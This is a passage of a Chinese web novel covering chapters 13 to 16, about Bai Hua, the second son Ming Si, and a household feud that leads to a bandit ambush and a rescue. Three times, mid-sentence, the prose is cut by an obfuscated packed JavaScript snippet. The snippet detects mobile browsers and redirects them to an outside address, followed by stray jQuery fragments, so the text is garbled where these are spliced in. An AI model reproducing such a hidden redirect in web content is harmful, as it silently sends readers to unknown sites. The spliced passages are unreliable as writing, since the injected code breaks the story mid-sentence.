“你自己说的，有用的上必不推辞，人还没出门就要反悔？”明肆站在那，回身看她。 “……我说的是……”她解释不上来。 “是什么？”明肆扬眉，“谁教你的，出尔反尔，空头画饼。” 白婳顿了顿，心想也好，一次性将条件都兑了，是他自己提的，不是她投机取巧。 她跟去了他的书房。 明肆不怎么畏寒，屋子里只烧了一个炭盆，他便穿得像在过秋天。 丁昭和海棠都候在门外，里头说话的声音能听个大概。 白婳看见了书架上满满当当堆砌的古籍，还有已经写过的成叠的宣纸。 她时常出入大公子的书房，书籍也多，整齐摆着，都是他闲来翻阅打发时间的。 远没有明肆这般，满满当当，两个并在一起的书架，塞得好像要掉下来。 这是白婳第一次直观感受到，明肆真的是要科考的读书人。 且和明晏那种打着读书的幌子花天酒地大有不同。 白婳承认，她对明肆的印象始终有些成见。便会忽略掉，能在昆山书院那种地方脱颖而出，他是个如何才华出众，又文武兼修的人物。 “这些都是你写的？”白婳忍不住问，视线大概扫了几本书，除了四书五经之外，还有许多没见过的名字。 他涉猎很广。 明肆坐回太师椅上，闻言扫了眼：“嗯，回来后写的，塞不下了，回头找个箱子封存起来。” 白婳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15694679|173396||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看了一圈才想起来磨墨，明肆也不催。 等她准备开始动手了，他抽走了桌上的旧砚台，“用新的。” 白婳道好。 她慢慢磨着墨，屋内一时无言。 明肆桌上那篇策论写到一半，应是被她中途打断了。 他得重新思考，顿了片刻才续上之前想的，继续下笔。 白婳无聊，眼睛往他纸上扫下去。 很隽秀的字，有少年人凌厉的笔锋，张扬而不显狂，很是好看。 她不懂策论，只能看个一知半解，看个字迹工整。 明肆余光能看见她的专注，笔锋游走便愈发顺畅，一口气将后半篇写完，落笔。 唇角愉悦，去看白婳的反应。 他很满意。 白婳通篇看下来，道：“可惜了，前后用了两块砚，稍有些色差。” 明肆笑笑：“无妨，原本就是写着练手。” 白婳点点头，一时无言。 他在写字时候还好，停下来后，白婳便觉得是时候该走了。 “本来我也有事跟你说，这两日准备寻你，正好你先来了。”明肆忽然道。 白婳告辞的话没说出口，问道：“何事？” “老三的病治不了这么久，故意拖着，柳姨娘大约想趁小年或除夕，去求老头子将人先放出来过年。”明肆口吻淡淡，“我想了个法子，须得你配合一二。” 白婳一愣。 明肆压低嗓音，同她讲了一遍。 丁昭和海棠还在门外站着，虽是两个心腹，但这事未实行前，还是越少人知道越好。 白婳听得心惊肉跳：“不可。” 明肆扬眉：“有何不可。” “二公子，你是要科考的人，若背了人命官司，前程尽毁。”白婳也不想叫外头人听见，情急之下走近一步，“换那样一条烂命，太不值当。” “没人会知道。”明肆不在意。 白婳心慌的要跳出来。 明肆的行为本就不受约束，他真要去发疯，白婳觉得自己拦不住他。 必须叫他打消这个念头。 “不怕一万就怕万一，稍有不慎，就会败露！二公子，他到底是你弟弟，你们之间没有死仇，我明白由头在我，若你因此受了什么影响，我受不起。” 明肆盯了她半晌，白婳从来没在这种距离跟他认真说过话。 她一着急，气血就上脸，飞霞一片，再加上情急的眼神。 明肆态度软下来：“那你道如何？” 白婳稍微松口气：“等时机。” “未必有万全的时机。” “无需万全，推波助澜足矣。” 明肆打小就不是个被动的人，耐心也欠佳。 他蹙眉：“时机何时来？” 白婳道：“他多行不义，必有引火烧身时。” 明肆不语，看不出是否认同。 白婳：“二公子，答应我，不可冲动。” 若他因此事出了什么岔子，白婳不知以何颜面去面对侯夫人。 “珍珠。”这两个字被他的声音叫出来，说不出的暧昧。 白婳一愣。 她想反驳，他们不是这种亲昵的关系。 但现在显然不是时候。 白婳等着他的下一句，竟生出了几分忐忑。 他离开前轻巧拍了拍她的肩，“恶人自有恶人磨。” 14. 联手 这日到了最后，白婳还是没能从明肆这要到一个准话。 从文华院回去后，她失眠整晚，辗转反侧。 “要不明日再去一次？”白婳想着。 可去了又如何，二公子那个倔脾气，连他爹娘都管不住。 之前几回主动权在她，明肆才会稍作退让，这回主客对调，她拿他一点办法都没有。 “其实不见得一定会败露，与其想方设法阻止他，不如配合，万一呢？”白婳翻了个身，控制不住自己往另一头设想。 她长长叹了口气，假寐的难受，在床上迷迷糊糊，最后又梦到自己不慎中招，被桃花散控制，上瘾难耐。 明晏那张脸出现在她眼前，折辱玷污她，最后还逼迫她去勾引陷害二公子，否则就将她吃桃花散的事情宣扬出去。 后来事情败露，侯夫人和大公子骂她不知廉耻，菜市口所有百姓都在朝她丢烂菜叶子。 谩骂几乎要将她淹没。 梦境变成了窒息的水面，她被迫沉入水底，越陷越深。 白婳猛地从床上惊醒。 她喘着气，屋里的炭盆烧得太热，大冬日竟是出了满身的汗。 还好，只是个噩梦。 白婳在床上坐了良久，直到身上的燥热又慢慢转变为冷意。 如果不是她发现及时，现在这就不是梦，是事实。 她忍不住再次想起二公子的提议。 好在离他说的小年夜还有些日子，且慢慢走一步看一步。 她这般想着，结果没几日就又发生了一件事。 明忠海借着从明晏那得到的消息，顺藤摸瓜，带人捣毁了藏匿汴京中的一处黑市点。 不止缴获百余斤桃花散，还有另外一些本朝禁药，捉拿相关人犯五人，大功一件。 此事不止百姓叫好，更是上达天听，引龙心大悦，对明忠海褒奖有加，赏赐流水一样送到清远侯府。 连街头的孩子们都唱清远侯‘诛邪除恶’的儿歌，一时间，明忠海名利双收，风光无两。 天上掉馅饼，砸得他飘飘然。 都不需要柳姨娘再如何去吹枕边风，他便主动将立了头功的小儿子给放了出来。 此番明晏可谓戴罪立功。 不止责罚免了，明忠海甚至赏了一座独立院子给他，几乎将他抬到了与嫡子一般的地位上。 白婳知道这个消息时候，似吞了只苍蝇般恶心。 她有种感觉，即便她真的死在明晏的毒计之下，最后也会走到如今这样的局面上。 不能再想。 她攥着掌心闭上眼。 再想，怨念滋生。 三公子新得了座院子。 位置在点翠阁以西，好巧不巧，白婳从葳蕤院往清霜院看望明疏，要经过他门口。 白婳觉得晦气，每每情愿绕路。 但院外离小镜湖不远，能绕的地方有限；再远便是要沿湖往老夫人的院子后头走，来回便是平白多走半个时辰。 白婳心中的郁燥，从未如此浓厚过。 明晏特意在小镜湖前的木桥上等她，见人过来，吹一声轻佻口哨。 白婳脚步一顿，知道是他故意来耀武扬威，目不斜视，继续往前。 “跑这么快，跑就有用？”明晏笑得恶劣，手肘撑在木栏上，看她笑话。 “秋白婳，你跟明老二什么时候勾搭上的？他才刚回来，怎么这么向着你。”明晏被打断的胳膊还吊着绷带，气焰却是比之前更嚣张了，“看，我毫发无损出来了，没想到吧。” 明晏始终记得明肆湖边那一脚，还有点翠阁里那一棍之仇。断骨之痛，恨得他咬牙切齿。 但他不敢直接找明肆嚷嚷。 他可以欺负明肆的女人。 “你被他上过几回？老大知道吗。” 白婳似深吸口气，转脸，神色寂静，眼神却狠狠剜他一刀。 明晏跟她对视：“好凶的眼神。怎么，说中了？” 白婳沉默不语，夕阳落在二人身上，拉起长长黑影。 明晏在脸上搓了把，眼神露骨盯着她：“走着瞧吧，秋白婳，这次没弄死我，总有办法叫你栽我手上，你不会次次都这么走运。” 白婳仍然没说话。 她看着那张脸，二公子的提议，再次爬上心头。 心里那些残存的顾忌，好像都一同随夕阳暗淡下去。 翌日，何尚书府的七公子何祝，递了帖子过府叙话。 何祝是明晏的酒肉朋友，听闻明晏受伤，特意前来探望。 扶风院里，何祝瞧着明晏吊着的手臂，啧啧摇头：“一条胳膊换座院子。我接了你的消息便赶紧来了，怎的，桃花散不好使？怎么弄成这样的。” 桃花散这个招，是何祝帮他出的。 他们尚书府里小妾成群，庶子庶女多得连名字都叫不清，乌烟瘴气一家子，活下来的都是些鬼灵精，何祝对如何让女人听话这方面，很有主意。 “叫他们阴了一把。”明晏将事情大致与他说了，又有些担心，“我是没法子，那老头子逼我逼得紧，他不信我没沾桃花散，要我立决心。要不供出黑市的地方，他就要打断我的腿。” 那地方也是何祝带他去的，当时还千叮万嘱，说当他亲兄弟才告诉他这么个好地方，务必要保密。 何祝哼哼道：“你小子还知道怕，最近几个月少去些小巷子，出门也带小厮跟着，省得你家老头领的功，报应落你头上。” 明晏脸色有点差。那些都是刀头舔血的恶人，他知道轻重。 何祝又道：“你们家那大夫人手腕不行，这后院清水似的，你竟还能栽跟头？这要在我家，那小丫头这两下子不知道死多少回了。” “……我一时大意。”明晏道。 何祝笑笑，也不拆穿他。 明晏知道他手腕厉害，道：“你再给我想个法子。” “这有何难。”何祝哈哈一笑，“你且说说，你是想要她的人啊还是要她的命呢。” 明晏想了想，白婳那张漂亮脸蛋浮上心头，“当然先要人。” 玩明老二的女人，他想想就解气。 何祝道：“这个好办，那就让她生场大病，然后把人挪去郊外庄子上休养。” 明晏犹豫：“她身子骨好着呢，药的话又怕被郎中瞧出来……” “孤陋寡闻。”何祝啧啧摇头，“我娘对付那些不听话的姨娘小妾，可相当有一套。” 又过了几日，天气愈发降寒，湖面都结了一层坚冰。 汴京的气候，年节之前的一个月是最冷的，屋里不烧上四五个炭盆，都跟坐在冰窖里似。 但炭火烧多了干燥上火，屋里气味重，人也闷，很不舒服。是以每到冬日，汴京郊外山上的那几座温泉山庄，便成了京中贵妇们趋之若鹜的避寒圣地。 但温泉山庄位置有限，大多都是皇亲国戚的私产。 若能得几间厢房位置避寒，也算身份人脉的象征。 明肆算着明忠海每月逢十往正院用膳的日子，叫上了白婳，提前去侯夫人那请安等他。 白婳猜到他是要开始布局动手了。 落了雪的石子路踩得脚下软绵绵，她着一身青色孔雀毛斗篷，里头裙子颜色素净，与明肆并肩往前，好几次侧眼偷偷看他。 “有话说？”明肆转脸回视。 白婳欲言又止，没想好说什么，也没想好要不要说。 明肆身量高，个子也大，穿一身深色衣裳，在雪地里尤为打眼。 白婳又再看他一眼。 忽然察觉到，是自己想要的太多。 想叫明晏付出代价，又不想欠明肆太多。 这种矛盾源于她的贪心。 “做什么吞吞吐吐。”明肆又问。 “明白了，肯定是些我不爱听的话。” “……”白婳刚做好的心里建树，嘴一张开就被这句话给打了回来。 二人踏着雪，进了正院。 这两人一起来，侯夫人奇怪看一眼。 白婳：“来给母亲送些新折的腊梅花，门口碰见了二公子。” 明肆不解释，直接落座。 侯夫人点头：“一会侯爷要来，正好我叫小厨房多做了几道豆腐丸子和冬笋煨火腿，还有新熬的鸡汤。你们一起吃个午饭。” 没多久，明忠海下朝回来，直接进了正院。 他还穿着朝服，见着屋里两个孩子，稀奇道：“今天挺热闹。” 言罢进里屋换了身常服，侯夫人便吩咐人上菜摆饭。 冬笋鲜美，配上火腿咸鲜，很是开胃。 一家人闲话着，白婳偶尔给侯夫人搭腔，说的大抵都是年节的安排。 明肆全程都没怎么出声，吃完后放了筷子，对明忠海道：“东磨山有温泉庄子，天太冷了，我打算过两日带祖母去小住几日避避寒。” 在场三人同时看向他。 侯夫人：“可是平遥山庄？听说那儿不止有温泉，还有大片林子的莓果，冬日里暖和的跟仲春似的。” 明肆点头。 侯夫人面上一喜，还要再问，明忠海却忽然蹙眉：“过年往外跑什么？” “汴京贵妇都喜欢避寒，你不知道？离小年还有半月有余，你慌什么。”明肆神色淡淡道。 明忠海虽有些刚愎自用，但对老母孝顺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15694680|173396||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是真，要带老夫人出门，他是一定会过问的，明肆索性一次性在夫妻俩面前说。 “就是，侯爷，那温泉庄子都被皇亲国戚圈着，好不容易有机会。”侯夫人也觉得机会难得，帮着说话。 “你懂什么？你也知道温泉山庄的厢房难得，他从哪得来的？”明忠海有些恼火，直接问明肆：“我跟你说的话你当耳旁风是吗？叫你不要盲目急着站队，搞不好怎么死的都不知道！你接了谁的好处？” 侯夫人也看过来。 明肆面不改色，难得没跟他呛声，“燕世子匀的，他们家老太太也去。” 那山庄背后的主子是靖王。每年善柔长公主的关系也会匀出去一些，外人一般看不出什么门道来。 明忠海的脸色稍缓，但仍有犹豫。 明肆道：“几间厢房，给你紧张成这样。我直接问祖母的意见还更简便，看她老人家乐不乐意去。” 明忠海松了口：“若如此，自是好的，汴京寒气重，屋里烧炭盆也总有股子味。” 白婳眼观鼻鼻观心，答应下来，差不多便要到她这了。 “可真巧了不是，燕王府老太太前些日子还念叨呢，说要到咱们府上看望婆母。厢房有几间？”侯夫人本是想安排陪同前往的人选，结果话一出口，自己先打了个哽。 年节将至，府内大大小小庶务缠身，她自己肯定是走不开的。 方才她下意识想的便是白婳。 但…… 侯夫人看明肆一眼。 虽然她心里也是希望一家人其乐融融别有隔阂，但也不是这样故意去玩火的。 明肆回视侯夫人：“看我做什么？我要温书，你找别人。” 侯夫人赶紧笑道：“是是，为娘糊涂。那就白婳陪老夫人去，丫鬟婆子伺候的，就睡脚踏下便是。” “三间房，三五人有余。”明肆又说。 侯夫人心里一跳，朝明肆眨眼，没拦住儿子嘴快。 可别叫撷芳院那两个占了便宜。 又看了眼明忠海，赶紧接着道：“那就叫二夫人陪着一起，还能带上明毓明婉两个丫头，睡一起稍挤一挤，老夫人肯定喜欢孩子在跟前热闹。” 好在明忠海并未多言，凭她安排，这事便就这么揭过去了。 白婳回到葳蕤院后，叫来海棠，吩咐了一件事。 “……这个容易。”海棠听罢点头，“我叫小六去传，她跟厨房的丫头们都熟，肯定能传过去。” 翌日，老夫人要去温泉山庄的事情，就传进了柳姨娘的耳朵里。 她赶紧去找明晏。 “……下人们都在传，说这会儿在平遥山庄的全是达官显贵，燕王府老夫人还请了胞弟一同前往，那可是尚林苑的江学士。眼看着春闱在即，若能提前在江学士跟前过过眼，哪怕只是一面之缘，只要有个印象，对你都是大有助益的。” 哪个当娘的不梦自己儿子金榜题名。 “听闻有三间厢房，白婳加上老夫人，剩下的那间，为娘一定替你要过来。”柳姨娘胸有成竹。 去跟明忠海吹吹枕边风，讲清楚其中要害，为了儿子的前途，他一准答应。 再说了，一群姑娘家的上山，出门在外，还是带个男丁安全。 明晏有些狐疑：“怎么没叫老二去？” 话问出口他自己就先转过弯来想明白了，这温泉山庄上孤男寡女的，侯夫人把人看得那么严，肯定不会放任这种危险发生。 明晏冷哼声，那老虔婆只怕还被蒙在鼓里，不知这对狗男女早就厮混在一起了。 “老二心气高，他都昆山魁首了，大约不想费心思在这些上面。”柳姨娘也猜测，“也可能他私底下早就见过江学士了，都不好说。” 明晏想起了何祝给他想的法子。 温泉山庄人生地不熟的，又鱼龙混杂，比在府里好下手。 当天晚上，柳姨娘就趁着明忠海留宿，跟他说了此事。 第二日，明忠海去正院找了侯夫人。 据说侯夫人发了好大的脾气，夫妻俩争吵的声音，外头院里伺候的丫鬟都能听见几句。 但即便如此，这事最终落定，也还是遂了柳姨娘的心愿。 二房夫人和白婳住一间，两个女儿便不带了，换成了三公子陪同前往。 白婳听罢，差海棠给文华院那边递了个消息，就说一切顺利。 二公子给回了张字条，让海棠带了回来，上头字迹苍劲有力，叫她放心。 白婳看着字条，忽然有些恍惚。 明肆刚回来时，她尚且避之不及，这才不过两个多月，他们之间竟互传消息，有了秘密。 匪夷所思。 15. 遇险 此行去山庄十日，只来回路上风雪大些，进了平遥山庄后便如仲春，可带些春秋衫，行囊不算繁重。 两架四乘的马车，白婳与老夫人一架，二夫人与明晏一架。 随行还带了六个护卫，保驾护航。 东磨山离京城并不算远，小半日便能到。路上雪停了，还出了点太阳，天气很好。 出了城，明晏在马车里坐不住，便叫换了匹马来骑。 白婳在陪老夫人说话，老夫人虽上了年纪，气血却足，手里暖哄哄的，携着白婳嫩生生的手，拍了拍，说着：“我那乖孙儿啊……是心疼你的。” 老夫人说话总这么想一出是一出，刚还说着要去山庄摘莓果吃，这会儿就忽然换了话题。 白婳笑笑，应了声是。 这时车帘从外头掀开，天光透进来，明晏那张邪肆的脸往里头看一眼。 他先朝白婳吹一声口哨，白婳蹙眉，笑意冷下去。 明晏才又看向老夫人：“祖母，可要开窗透透风，今日日头好，不冷。” 老夫人对他没什么好印象，只摇摇头：“你自己透。” 明晏不计较老太婆的态度，又再戏谑看一眼白婳。 这眼神让白婳很是不适。 他好像在故意告诉她，这一路天高皇帝远，是他做主。 白婳定了定心神，安静回视他。 无妨，她也早有准备。 明晏笑了笑，放下帘子，想起身上带的东西，心情就好了起来。 一行人往东磨山走了一个时辰，后头护卫忽然警惕起来，频频回首往山下树林看。 为首者靠近马车，隔着车窗往里头道：“白婳小姐，咱们要稍赶一脚路。” 出门前侯夫人就有吩咐过，叫他们遇事听白婳安排。 白婳掀了帘子，看见护卫的神色便有了点谱，低声问：“可棘手？” “应无大碍，先别叫其他人担心，咱们兄弟护送快些走便是。这一路并无山贼马匪，只是林中一些小动静，以防万一罢了。”侍卫答道。 “那就好。”白婳点头允了。 队伍开始加速，马车比之前明显跑快了不少。 明晏是骑马的，他的感受比马车里的人要明显的多。 他策马靠近护卫，但还来不及问清楚是怎么回事，不知从哪飞来一支利箭，从他肩侧擦过，射在了马车上。 “什么人！”明晏顿觉三魂七魄都错了位。 养尊处优长大的少爷，接触弓箭那都是在猎场里，怎会有如此暴露在危险中的时候。 他大叫一声，万分后悔刚才为什么要下车骑马。 京郊的路原来都是很安全的，至多一些地痞刁民，照说不会遇上这种危险。 马车里也是摇摇晃晃的。 白婳紧紧抓着老夫人的手，跟她说别害怕。 结果就在这时，外头响起了嘈杂声，伴随着凌乱的马蹄，竟有刀剑相撞的声音。 白婳心中一惊。 很快马车被逼停了，一柄雪亮的长刀伸进来挑开了车门，外面骑马的中年悍匪勾着腰往里呵斥：“都下来，赶紧的！” 白婳扶着老夫人下了车，才发现他们竟是已被逼进了某处林边，离大路有些距离。 六个护卫都已被打趴下，明晏身上尤其挂了彩，他歪在地上装死，被一个虎背熊腰的独眼男人拎了起来。 冬装将那人的肌肉穿得越发壮悍，单手就能揪住明晏的衣领：“明家三少爷，啊？就是你带人通了黑市的窝子？” 二夫人一听这话魂都吓掉了半截，“你们是！是！” 白婳赶紧捂住她的嘴，拉她与老夫人待在一处。 明晏心虚，眼睛乱转，谄媚求饶：“有话好好说，哥，都是兄弟。是我家那老头子急功近利，是他自个儿去搜的，跟我没关系啊。” 独眼男人一巴掌将他扇在地上：“呸。老子都听说了，老子日等夜等，等的就是你这龟孙探头！” 白婳心中一凉，有些懊悔。没想到他们谋划出行，竟是给了这些狂徒可乘之机，还连累了老夫人和二夫人。 “躲？躲啊？躲得了一时你躲得了一世？不给活路么，索性大家谁也别活了，咱们兄弟早都商量好了，以后就盯着你们姓明的搞。有本事一辈子不出门做缩头乌龟啊！”独眼男人发泄的在明晏身上狠踩几脚，踩得他直吐酸水。 二夫人出身书香门第，哪看过这些，吓得直哆嗦，被白婳拉住手，视线对上一眼。 白婳看起来相对比她镇定些，嘘了一声摇摇头。 她心中也慌，余光不停往大道上扫，寄希望于找到最后的救命稻草。 按照之前的约定，二公子会单独策马往平遥山庄去。 只是不知他会超前还是吊尾。若吊尾，应是能瞧见他们马车出事的，哪怕是赶回去传个消息带人来救都是希望。 但二公子是个急性子，一路狂奔超前的可能性大些…… 白婳手心出汗，不敢再想。 也就是在这时，她一晃眼看见藏匿在树林里的明肆。 他黑眸沉沉，白婳的心几乎慌得跳出来。 明肆冲她打了几个手势，白婳不敢多看怕他暴露，大概明白了意思。 “别打了、别打了哥、”明晏抱着头几乎要断气，“再打真的没命了。” 独眼男人气哼哼一招手，旁边打手立即上前，将奄奄一息的明晏架了起来。 他又看了眼白婳几人的方向，一个个数着点人头：“明忠海他老母，他弟媳妇、”最后看向白婳，想不起来是个什么身份，“还有个漂亮妞。今儿个落虎爷手里，是你们命里该有此一劫，不怪别人，就怪你们家男人，心里头没数。” 明晏讨好道：“她是明忠海儿媳妇，我们家老大老二都宝贝她！” 二夫人赶紧将白婳藏在身后，颤巍巍壮胆：“你、你们识相的赶紧将我们放了！我家老爷、我家侯爷、坐、坐拥雄兵、” 一句话磕磕巴巴说不利索。 白婳不着痕迹偷瞄一眼地上的护卫。其实这帮悍匪也不过七八人，只是身手矫健，又占了偷袭的先机，才将府兵制裁在地。 她跟护卫首领对了一眼视线。 “老子天生地养，怕你这些。”独眼的虎爷不屑一笑，开始善后清尾：“护卫杀了，把这老娘儿们放走回去报信，叫明忠海明日午时，带一万两黄金去虎头山十里庙，换他老娘、儿子和儿媳妇。记住了，只准他一个人来，老子会放哨盯着的，多一个人，这里就少一条命，叫他自己掂量着办。” 几个手下陆续要动手，白婳忽然笑起来。 虎爷刚背过身，转回来看她：“小娘儿们，胆子可以啊，笑什么？” 白婳道：“笑你已成瓮中鳖还不自知。” 二夫人和明晏都朝她看去。 虎爷不屑：“老子是叫人吓大的？” “你自不是吓大，你是拿朝廷钦点的三品骁骑将军清远侯当三岁小毛孩，这种节骨眼上，他明知道你们会怀恨在心，还上赶着把亲娘和儿子送出来给你逮？”白婳嗤笑。 “结果稍一撒饵就上钩。你觉得朝廷为了抓你们这些漏网之鱼，这次带了多少兵出来？还不束手就擒，尚能留个全尸。”白婳气定神闲，一副笃信的样子。 二夫人一听这话觉得在理，满眼希冀朝周围看，是不是救兵早已埋伏在周围。 这么一眼，带的几个劫匪一同紧张起来，纷纷往四周看去。 白婳知道时机到了，又跟地上的护卫首领对了一眼，忽然大喊：“捉拿人犯！杀无赦！” 她冲的是虎爷身后的密林方向，虎爷下意识回身警备。 一支羽箭冷不防从后头正中他背心，力道悍猛，箭头直接穿胸而过，刺出半寸。 虎爷尚且还未死透，不可置信低头。 趁着匪徒们走神，地上的护卫首领瞬间暴起：“随大军剿匪！冲！！” 马蹄声一路晃动灌木发出莎莎声，接二连三的羽箭破空而来，几个没弄明白状况的护卫以为真有援军，一时士气大振，个个强力反抗，想夺个头功。 明肆单枪匹马而来，接连射出几箭，他的马上功夫了得，尤擅骑射，在去昆山书院之前，便是围猎场上的翘楚。 士气这东西便是此消彼长，一群悍匪慌不择路作鸟兽散。 明肆靠近后一弓打在虎爷头上，力道之大，当场响起清脆骨裂之声，以一种诡异的姿势趴在地上，死绝了。 其他匪徒见状，失了斗志，纷纷上马逃窜。 其中架着明晏的那两个，飞快将绳索套上他的脖子，打算锁个人质，以备不时之需。 白婳眼看着另一人朝她看了一眼。 她顿觉不妙想跑，但没跑过匪徒，粗糙的手掌掐了她的脖子，箍在身前：“都别过来，退后！” 涌上来的一群护卫忌惮着不敢上前。 明晏被勒着脖子，知道此时若真被带走，后果不堪设想。 但别说他被打了一顿，即便全盛状态，一个读书的公子哥，也不可能有悍匪力气大。 他挣脱不开，咬牙从怀里掏出一样东西。 白婳也看见了，是一张女式手绢，紫色绣花的，在他手上出现格格不入。 明晏用力将手绢往山匪脸上捂了把，对方瞬间疼的大叫起来，二人手忙脚乱之间，手绢迎面被风落回了明晏脸上，盖得严严实实。 明晏惊慌不已，叫得比山匪还大声，喘气间不慎深深吸了一口进肺腑，口圈都在丝绢上显了形状。 白婳被人勒着脖子，见明晏那般鬼样子，猜到那丝绢定然有问题。 但也还是挡不住天意一阵风，丝绢从明晏脸上吹下，轻巧拂过白婳半侧脖颈，飘飘然落地。 白婳脖间一阵刺痒，呼吸也困难，就被人提着丢上了马。 “救——命——”呼救声被马 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15694681|173396||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 背颠碎，白婳眼前昏花一片，根本不知天地为何物。 她只感觉到剧烈的晃动，好像有人追了上来，又好像没有。 明肆仅靠双腿御马，以长弓为刃，套了匪徒半边肩膀，动若雷霆，力道之大即刻叫人脱臼。 那人反应也快，知道他目的为何，另一手直接将白婳掀了下去。 白婳惊叫着，落地前被明肆猿臂一捞，重新回到了马背上。 她脑袋尚且晕着，也仍是惊魂未定，刚才那一下若摔下去，是脸先落地。 于女子而言，毁了容貌，即便不死也没什么生存意志了。 马蹄渐渐慢下来，似在下坡路止不住雪滑，绕了一会才终于在雪林中踩到实处。 白婳的魂也才终于回到了自己身上。 她呛了风，不住咳嗽着，面颊都涨红。 后背明显比前胸暖和，是明肆的胸膛发烫。 他一番武斗动静太大，冬日里都出了浑身汗，整个人跟火炉似的。 “怎么样，伤着哪没？”明肆握了她的肩膀问了句。 白婳摇头，咳了好一会才止住喉咙里的痒意。 “救命之恩……”她回头看他一眼，咳得眼泪汪汪，声音也是嘶哑的，可怜极了。 “以身相许？”明肆顺口一接，眼睛还在观察环境，“我没意见。” “……”白婳语塞。 她清了清嗓子，才又道：“这是哪？” “不知道，那死狗满林子乱窜，我接你就滑下来了。这坡子太陡，原路是上不去了，绕一绕碰碰运气吧。”明肆说。 白婳心里感激，又有些自责：“连累你了。” 若真被贼人掳了去，别说性命保不保得住，就单论名节，即便后面侥幸得救，也只能去投江。 “说这些。”明肆不甚在意，又道：“下次请你磨个墨，别推三阻四就行。” 白婳动了好几下，忍不住伸手去挠后脖颈。 刚才慌慌张张的顾不上，现在安全了，那痒意简直难以忍受。 白婳平时站坐都板正得体，人一扭起来，明肆立马发觉反常：“怎么了？” “方才被三公子的丝帕扫了下，有些痒。”白婳如实说。 明肆只看了眼，捏住她的手腕拉开，“你别碰，全是红苔。那东西肯定不干净。” 白婳的指尖难耐地摩挲下，“那怎么办。” “先找水给你冲洗一下。”明肆攥了她的手腕去拉缰绳，调转马头。 山间温度本就比平地的低不少，溪水都已经结冰了。 明肆捡了块大石头，抡起来狠砸数十下，才敲破一个口子，摸到了底下的冰水。 他朝白婳招手，将她的狐毛斗篷解了些，又示意她肩膀低下来一点。 白婳脸色通红：“我自己来。” “你怎么来？”明肆单膝蹲着，一动不动睨着她。 白婳也不知道怎么来，但始终是不好意思。 “行了，你那规矩先放放，救命要紧。”明肆一把将她按下来，手劲大，白婳动都动不了一下。 她失了平衡，下意识一掌撑在了冰面上，把自己冻得一哆嗦。 明肆看见了，捏着她的手腕，将她胳膊搭在了自己腿上借力。 白婳：“……” 他行动力高得令人发指，丝毫不给人矫情扭捏的机会。 白婳僵着半边身子，一边红着脸往周围看，只祈祷这个时候千万别忽然来人。 冰水过了明肆的手，碰到脖颈这种地方，也还是冷得白婳一激灵。 她浑身紧绷起来，尽管冷，却是很好缓解了方才难耐的灼痒。 明肆来回用流水冲洗几遍，发觉领子更里面应是还有残余。 他说：“领口可能要解开些，里面也有。” 话说出来，别说白婳，明肆自己都有几分不大好意思。 他中意白婳，从没藏过心思，白婳对他而言，就是与其他姑娘不同。 哪个男子能坦然看自己心上人白花花的后颈子。 白婳果然惊了下，慌忙拉好斗篷，人也从他腿上直了起来，婉拒道：“我感觉还好。” 明肆磨搓了下湿漉的指腹，也没勉强，轻咳了声：“行。那什么，水凉，衣裳穿好。” 白婳不去看他，低低应了声。 二人重新回到马背上。 还好冬装厚实，同乘一骑尚且还有些阻隔。 阳光消退之后，风雪又开始刮起来，白婳将手藏在披风里，脸上却仍是冻的发白。 她看了眼明肆持缰的手。 他偶有换手，但如此天寒地冻，她缩在披风里都难以忍受。 白婳顿了顿，默不作声用披风将他的手拢进去盖住。 身后明肆低头睨她一眼。 披风底下一片温热，分明没碰到她的手，但仿佛都能闻到馨香扑鼻。 是他心猿意马。 16. 什么都会 这林子比想象中的大许多，绕了好一会都没绕出去，风雪愈大，明肆策马找了处石洞暂避。 ——其实也不算石洞，不过是上方岩壁突出，下头得了个能挡雪的去处。虽然简陋，但胜在地势背风。 白婳之前受了那么场惊吓，又折腾着骑了这么久的马，人早都疲乏了，不过是强撑精神罢了。 她在石头上坐着歇息，安静看着明肆在附近挑挑拣拣，扒拉了一些不太潮湿的枯枝回来。 他精力是真好，丝毫不见疲态。 明肆徒手钻起了火，知道白婳一直在看他，回视了一眼。 “稀奇？”明肆不觉得有什么，又丢了几根枯枝进去。 白婳拢着披风坐在石头上，场地有限，坐姿谈不上多优雅，但一眼看去称得上乖巧。 “二公子，你好像什么都会。”她盯着火堆说，脑子里只剩下了烤火的暖意。 “比如？”明肆看她一眼，又看她一眼。 “骑射、写字……算得上文武兼修，还会生火。”白婳的脑子难得有些慢。 她原本想说，文武兼修都罢了，一个本该养尊处优的侯府嫡子，在没有打火石的情况下，怎竟会生火。 明肆唇角上扬了些，“这有什么，你二公子会的还多。” 白婳想起来，他小时候调皮，上树摘果子，下河摸鱼虾，一天到晚就没个安生的时候。 